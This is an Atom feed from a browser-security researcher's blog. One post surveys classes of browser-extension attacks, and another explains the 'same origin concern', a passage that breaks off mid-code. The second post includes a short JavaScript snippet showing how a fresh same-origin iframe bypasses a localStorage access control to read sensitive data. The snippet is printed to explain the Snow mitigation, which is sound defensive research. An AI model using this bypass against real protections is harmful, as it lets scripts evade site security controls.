<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>Gal Weizman</title>
 <link href="https://weizman.github.io//atom.xml" rel="self"/>
 <link href="https://weizman.github.io//"/>
 <updated>2026-07-25T10:37:59+00:00</updated>
 <id>https://weizman.github.io/</id>
 <author>
   <name></name>
   <email></email>
 </author>

 
 <entry>
   <title>The Rest of the Iceberg - Everything We've Missed About the Browser Extensions Attack Surface</title>
   <link href="https://weizman.github.io//2026/05/07/the-rest-of-the-iceberg/"/>
   <updated>2026-05-07T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2026/05/07/the-rest-of-the-iceberg</id>
   <content type="html">&lt;p&gt;&lt;img src=&quot;/content/img/iceberg1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reading this title, you might be thinking, “dude’s late to the party”&lt;/p&gt;
&lt;p&gt;Well, to an extent, yes&lt;/p&gt;
&lt;p&gt;But also, diving deep into browser extensions security in the past 6 months was &lt;strong&gt;eye-opening&lt;/strong&gt; to me, and while some of my realizations may seem obvious to most, I believe I will be able to touch on some new notions&lt;/p&gt;
&lt;p&gt;My name is &lt;a href=&quot;https://x.com/weizmangal&quot;&gt;Gal Weizman&lt;/a&gt;, and I have touched a wide variety of aspects in the browser security ecosystem in the past decade&lt;/p&gt;
&lt;p&gt;Here is how my recent research reshaped the way I think about browser extensions’ security&lt;/p&gt;
&lt;h2 id=&quot;strongclass-xaw-the-tip-of-the-icebergstrong&quot;&gt;&lt;strong&gt;Class XAW (the tip of the iceberg)&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;~ E&lt;strong&gt;X&lt;/strong&gt;tensions &lt;strong&gt;A&lt;/strong&gt;gainst &lt;strong&gt;W&lt;/strong&gt;ebsites&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/iceberg2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Extensions being a horror show is common knowledge for a while now, and yet somehow only recently emerging startups were finally able to convince the industry how vulnerable companies are to them&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://x.com/@GetKoidex&quot;&gt;@GetKoidex&lt;/a&gt; is a great example of that&lt;/p&gt;
&lt;p&gt;Koi were able to really convince companies that extensions in general and browser extensions specifically are a true risk to organizations&lt;/p&gt;
&lt;p&gt;Not theoretically, but practically&lt;/p&gt;
&lt;p&gt;And while Koi is just one example, there was one thing in common to all startups that were taking a shot at this problem&lt;/p&gt;
&lt;p&gt;Their efforts, research, product, and publications were all directed at one risk perspective of extensions, which is - once already installed, &lt;strong&gt;how malicious extensions were able to compromise victims’ websites&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It was different instances of the same approach, time and again - malicious actors manage to either sneak their extension into the Chrome Web Store or buy/compromise an existing one, through which they deploy evil code that abuses the extension’s privileges over websites to compromise them&lt;/p&gt;
&lt;p&gt;What repeated itself was (a) the fact that malicious code could be identified in the CRX itself (or a malicious server address if code is fetched remotely), and (b) the attack was targeted at websites&lt;/p&gt;
&lt;p&gt;In the past 6 months, &lt;strong&gt;I identified no less than 10 different vulnerabilities of about 3 different classes of attacks&lt;/strong&gt;, with some of them being novel, all involving Chromium-based extensions in one way or another&lt;/p&gt;
&lt;p&gt;At least 8 of them will be shared by the end of this year, but in the meantime, I’d like to share what I already can - what was innovative about them and how it affects my perception of browser and endpoint security&lt;/p&gt;
&lt;p&gt;I’ll do so by touching each class at a time&lt;/p&gt;
&lt;h2 id=&quot;strongclass-waxstrong&quot;&gt;&lt;strong&gt;Class WAX&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;~ &lt;strong&gt;W&lt;/strong&gt;ebsites &lt;strong&gt;A&lt;/strong&gt;gainst E&lt;strong&gt;X&lt;/strong&gt;tensions&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/iceberg3.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Investigating the devices of some of our clients, an aggregated list of installed extensions came back, and it was longer than I expected&lt;/p&gt;
&lt;p&gt;Browsing through each from the classic perspective, I was unable to identify malicious ones, as neither was known to public registries nor contained malicious code&lt;/p&gt;
&lt;p&gt;I decided to go one by one and investigate something different about them - their posture&lt;/p&gt;
&lt;p&gt;Which domains are allowed to communicate with the background process? To which origins are content scripts injected? How can in-page contexts communicate with content scripts?&lt;/p&gt;
&lt;p&gt;You know, classic vulnerability research&lt;/p&gt;
&lt;p&gt;This journey uncovered findings I’ve never seen before, which shed some new light on the risk extensions introduced&lt;/p&gt;
&lt;p&gt;I found super aggressive vulnerabilities&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;All allowed very aggressive bypasses of the Same Origin Policy, including UXSS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There’s nothing special about yet another vulnerability, but not only were they so aggressive, but they were also implemented so poorly that it was hard to believe this was a mistake&lt;/p&gt;
&lt;p&gt;And then it hit me - what if this isn’t a vulnerability, but a backdoor?&lt;/p&gt;
&lt;p&gt;My research focused on 1M+ installations only, so if my theory is right, it’s quite a backdoor&lt;/p&gt;
&lt;p&gt;And this is so interesting because the game here is just different, and so are the rules&lt;/p&gt;
&lt;p&gt;Each extension provides real value&lt;/p&gt;
&lt;p&gt;Each extension is used by real users&lt;/p&gt;
&lt;p&gt;Each extension has no proper indication of maliciousness, such as malicious code or suspicious behavior&lt;/p&gt;
&lt;p&gt;But they all seem so weird online, like something’s up with them&lt;/p&gt;
&lt;p&gt;Not only is their online presence fishy, but they leave an opening for any website to perform such aggressive moves against other origins in the browser, which is just too hard to believe that this is all a mistake&lt;/p&gt;
&lt;p&gt;And the worst part? Lacking clear evil indications, incriminating them officially becomes impossible&lt;/p&gt;
&lt;p&gt;Even Google internal teams verified our findings, and yet were unable to remove the extensions from the store for the chance that we’re wrong&lt;/p&gt;
&lt;p&gt;Could we be wrong? Absolutely (and that’s the gist of it)&lt;/p&gt;
&lt;p&gt;Perhaps these flaws were the result of the Vibe coding era? If so, here’s another big new notion for you - if you can vibe code your way to the Chrome Store, how many more such flaws are we going to see? Or maybe it’s both? Maybe now, for the first time ever, you can finally vibe code a real product that is also malicious at the same time, making you untouchable?&lt;/p&gt;
&lt;p&gt;I wonder how this angle will play out&lt;/p&gt;
&lt;p&gt;Part of my research into WAX class is now public for you to dig deeper &lt;a href=&quot;https://x.com/WeizmanGal/status/2065060237950775350?s=20&quot;&gt;https://x.com/WeizmanGal/status/2065060237950775350?s=20&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;strongclass-xabstrong&quot;&gt;&lt;strong&gt;Class XAB&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;~ E&lt;strong&gt;X&lt;/strong&gt;tensions &lt;strong&gt;A&lt;/strong&gt;gainst &lt;strong&gt;B&lt;/strong&gt;rowsers&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/iceberg4.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Did you notice how it’s the same horror story with every extension?&lt;/p&gt;
&lt;p&gt;Whenever a bad one gets caught, the story is about the impact it was capable of generating against websites the user is logged into&lt;/p&gt;
&lt;p&gt;One focus is missing from the landscape almost completely - &lt;strong&gt;how can these extensions compromise the browser itself?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Attacking the browser via an extension is actually a far more important vector, because it introduces a real escalation of privileges attack (unlike an already installed extension, which trivially attacks websites to which it has access by design)&lt;/p&gt;
&lt;p&gt;And this really bugs me - how is it that browsers &amp;amp; plugins security companies never put enough effort into this field of research?&lt;/p&gt;
&lt;p&gt;The premise with which they work is “your employees install more extensions than you would imagine,” meaning their starting point was already having an extension installed - why only focus on extension-to-website damage and not explore extension-to-browser damage? Especially when this field is so fruitful?&lt;/p&gt;
&lt;p&gt;Accepting this challenge, I was able to identify a novel class of attacks that extensions were able to deploy against browsers, which also gave birth to a novel attack technique I recently covered, coined &lt;a href=&quot;https://x.com/WeizmanGal/status/2028897144439226539?s=20&quot;&gt;DiNneR Serving&lt;/a&gt;, in my recent &lt;a href=&quot;https://x.com/WeizmanGal/status/2028472131802001591?s=20&quot;&gt;GlicJack&lt;/a&gt; vulnerability discovery in Google Chrome&lt;/p&gt;
&lt;p&gt;I was able to perform different instances of this class &lt;strong&gt;against 5 of the most popular browsers in the world, totaling over 20k$ in bounties&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This class focused on accessing powers reserved only for browser-level components and abusing them&lt;/p&gt;
&lt;p&gt;The take here is that the territory of extensions attacking browsers is widely uncharted&lt;/p&gt;
&lt;h2 id=&quot;strongclass-xaosstrong&quot;&gt;&lt;strong&gt;Class XAOS&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;~ E&lt;strong&gt;X&lt;/strong&gt;tensions &lt;strong&gt;A&lt;/strong&gt;gainst the &lt;strong&gt;O&lt;/strong&gt;perating &lt;strong&gt;S&lt;/strong&gt;ystem&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/iceberg5.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This one is a little less about just browsers and slightly more about AI and how it changes the endpoint - but the point still flows through the risk in extensions&lt;/p&gt;
&lt;p&gt;In the new era we’re entering, AI rapidly gets introduced into every layer of the stack, whether it’s the web, the browser, the extension, the OS, or your phone&lt;/p&gt;
&lt;p&gt;But it’s not just AI - it’s the same AI&lt;/p&gt;
&lt;p&gt;Meaning, the same brain - whether it’s Anthropic, Perplexity, or OpenAI - gets integrated into all layers&lt;/p&gt;
&lt;p&gt;From a security perspective, this introduces a new risk where malicious actors confined to one layer can abuse the access of that layer to that brain to jump over to another layer where the same brain appears&lt;/p&gt;
&lt;p&gt;That is an unprecedented way to perform escalation of privileges attacks, and my soon-to-be-published research into this will be only the beginning of this emerging class of attacks&lt;/p&gt;
&lt;p&gt;Browser extensions play a prominent role in that&lt;/p&gt;
&lt;h2 id=&quot;strongbut-why-nowstrong&quot;&gt;&lt;strong&gt;But why now?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/iceberg6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Come to think about it, everything I referred to was true for years now, mainly class WAX and class XAW&lt;/p&gt;
&lt;p&gt;If so, why does it matter now more than before? What makes this important?&lt;/p&gt;
&lt;p&gt;It took the web industry a while to nail down security for web apps, but the tools to secure them conveniently are finally here&lt;/p&gt;
&lt;p&gt;After locking this vector down, we begin feeling more comfortable with using browsers freely, and a natural side effect of that was adopting the next big thing browsers have to offer - &lt;strong&gt;extensions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hence began the next part of the same cycle websites underwent - extensions are everywhere, and only their adoption surfaces security concerns we weren’t able to see before&lt;/p&gt;
&lt;p&gt;Making browser extensions the old but next emerging attack vector of the web &lt;strong&gt;now&lt;/strong&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>What same origin iframes are used for?</title>
   <link href="https://weizman.github.io//2024/12/04/same-origin-realms-practical-usage/"/>
   <updated>2024-12-04T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2024/12/04/same-origin-realms-practical-usage</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;iframes can either share the origin of their embedder or not. While cross-origin iframes are highly useful and are well-used across the web, what are same-origin iframes used for? Aside for malicious ways to use such iframes, are there any legitimate use cases for them? This research will focus on finding the answer to this question.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;In the past months I’ve been focusing on pushing a W3C proposal (within &lt;a href=&quot;https://github.com/wicg&quot;&gt;WICG&lt;/a&gt;) called &lt;a href=&quot;https://github.com/WICG/Realms-Initialization-Control&quot;&gt;Realms-Initialization-Control&lt;/a&gt; to address the &lt;a href=&quot;https://weizmangal.com/2023/09/28/the-same-origin-concern/&quot;&gt;“same origin concern”&lt;/a&gt;. The solution I originally proposed (which may end up being slightly different), attempts to follow the “layering approach”, so that it can be adopted by developers with close to zero fraction. Problem is, the layering approach means introducing a new way to inject JavaScript code into web applications, which might not be ideal. On the other side of that spectrum, more restrictive solutions can be considered, which would be harder to misconfigure and abuse, but might be too restrictive for developers to adopt too.&lt;/p&gt;
&lt;p&gt;In this piece I’ll focus on that spectrum and the research I had to make in order to tell which path is more appropriate to choose and why. I thought I’d share my way and findings as they shed light on interesting aspects of the web that weren’t well investigated prior to this.&lt;/p&gt;
&lt;p&gt;Unless you’re familiar with my work, about 90% of what I just said won’t make sense to you. Let’s back it up then.&lt;/p&gt;
&lt;h2 id=&quot;the-a-hrefhttpsweizmangalcom20230928the-same-origin-concernsame-origin-concerna&quot;&gt;The &lt;a href=&quot;https://weizmangal.com/2023/09/28/the-same-origin-concern/&quot;&gt;Same Origin Concern&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is a problem I’ve been vocal about for a few years now. I was first exposed to it by working for &lt;a href=&quot;https://PerimeterX.com&quot;&gt;PerimeterX&lt;/a&gt; on a 3rd party JavaScript runtime security library, which was basically responsible for redefining powerful APIs at runtime within web pages of our customers in order to keep track of their use, mitigate what they can do and more, and by that grant our customers some visibility into potentially bad things that take place on their client side:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;AGREED_UPON_SECRET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// protect access to localStorage items!&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The example above is a reduced one, but it brings the point across - I can redefine the (powerful) localStorage API to behave slightly different, so that in order to access the values it contains, one must provide an agreed upon secret. If that secret is safely shared with trusted parts of the application and not untrusted ones, we could theoretically virtualize this API to be more picky about who can access it and who can’t, which allows us to introduce advanced security controls to already existing capabilities.&lt;/p&gt;
&lt;p&gt;That is the essence of what I was working on in PerimeterX (the product was called “Code Defender”), and is referred to as a layering approach because you introduce another layer of logic on top of existing APIs at runtime.&lt;/p&gt;
&lt;p&gt;I’m a great advocator of the layering approach, because it amplifies the strengths of the web and JavaScript, being highly dynamic, configurable and expressive technologies - you can redefine pretty much anything to behave pretty much however you want it to, and by that you can invent pretty much any security control to web applications. That is power we should harness.&lt;/p&gt;
&lt;p&gt;Problem is, with how the web is designed, there are some major blockers that undermine the layering approach quite significantly.&lt;/p&gt;
&lt;p&gt;The one I’m most worried about ever since I realized it working for PerimeterX is the &lt;a href=&quot;https://weizmangal.com/2023/09/28/the-same-origin-concern/&quot;&gt;Same Origin Concern&lt;/a&gt;, where a web application is granted APIs with which it can create new realms that expose a fresh new set of the same APIs the main realm exposes.&lt;/p&gt;
&lt;p&gt;That’s bad news for the layering approach, because it makes it useless - attackers don’t have to obey the mitigated APIs anymore, they can just find fresh instances of them elsewhere:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getLocalStorageNaively&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getLocalStorageBypass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;getLocalStorageNaively&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sensitive_pii&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// null&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;getLocalStorageBypass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sensitive_pii&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// +977-5555-333&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I was the first to build and maintain a project that was entirely focused on addressing this problem.&lt;/p&gt;
&lt;p&gt;Ironically, it was the layering approach on top of which the &lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;snow&lt;/a&gt; project relied, and it was quickly acquired by &lt;a href=&quot;https://github.com/metamask&quot;&gt;MetaMask’s&lt;/a&gt; new security project &lt;a href=&quot;https://github.com/lavamoat/lavamoat&quot;&gt;LavaMoat&lt;/a&gt;, making this project the only one building against this issue in public as an open sourced software.&lt;/p&gt;
&lt;p&gt;All snow did was to take your mitigating code (such as the localStorage example) and make sure it runs against every new same origin realm (e.g. iframes/popups), thus eliminating the ability for attackers to leverage the same origin concern to escape the security controls you dictated to your web page:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Use Snow&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SNOW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;AGREED_UPON_SECRET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// protect access to localStorage items!&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Snow protects same origin realms&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;getLocalStorageNaively&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sensitive_pii&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// null&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;getLocalStorageBypass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sensitive_pii&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// null&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;a-happy-ending&quot;&gt;A happy ending?&lt;/h2&gt;
&lt;p&gt;Well, not quite.&lt;/p&gt;
&lt;p&gt;Sadly, solving this problem at user-land (by using JavaScript at runtime), is basically impossible due to some core characteristics of the web’s design. You can learn more about that by browsing through the many &lt;a href=&quot;https://github.com/lavamoat/snow/issues&quot;&gt;open issues&lt;/a&gt; that were left against the snow repository. Some are addressable, some aren’t.&lt;/p&gt;
&lt;p&gt;This made things clear - addressing the same origin concern must become a browser native solution.&lt;/p&gt;
&lt;h2 id=&quot;the-a-hrefhttpsgithubcomwicgrealms-initialization-controlrealms-initialization-controla-proposal&quot;&gt;The &lt;a href=&quot;https://github.com/WICG/Realms-Initialization-Control&quot;&gt;Realms-Initialization-Control&lt;/a&gt; proposal&lt;/h2&gt;
&lt;p&gt;The idea was to migrate the exact value snow brings into the browser, and a proposal was submitted against the &lt;a href=&quot;https://github.com/wicg&quot;&gt;Web Incubator Community Group&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/WICG/proposals/issues/144&quot;&gt;Both Shopify and Akamai showed enough interest&lt;/a&gt; in such a solution which helped officially getting it in to the incubating program, and with &lt;a href=&quot;https://github.com/yoavweiss&quot;&gt;Yoav Weiss’s&lt;/a&gt; help, I’ve been working on it ever since.&lt;/p&gt;
&lt;p&gt;So the idea is very similar to snow’s approach - provide developers some API to declare some path to a remote script with, and make the browser load that script for every new same origin realm that comes to existence.&lt;/p&gt;
&lt;p&gt;Based on the previous example, by placing the same localStorage security controls in a remote script &lt;code&gt;/scripts/realm.js&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;AGREED_UPON_SECRET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
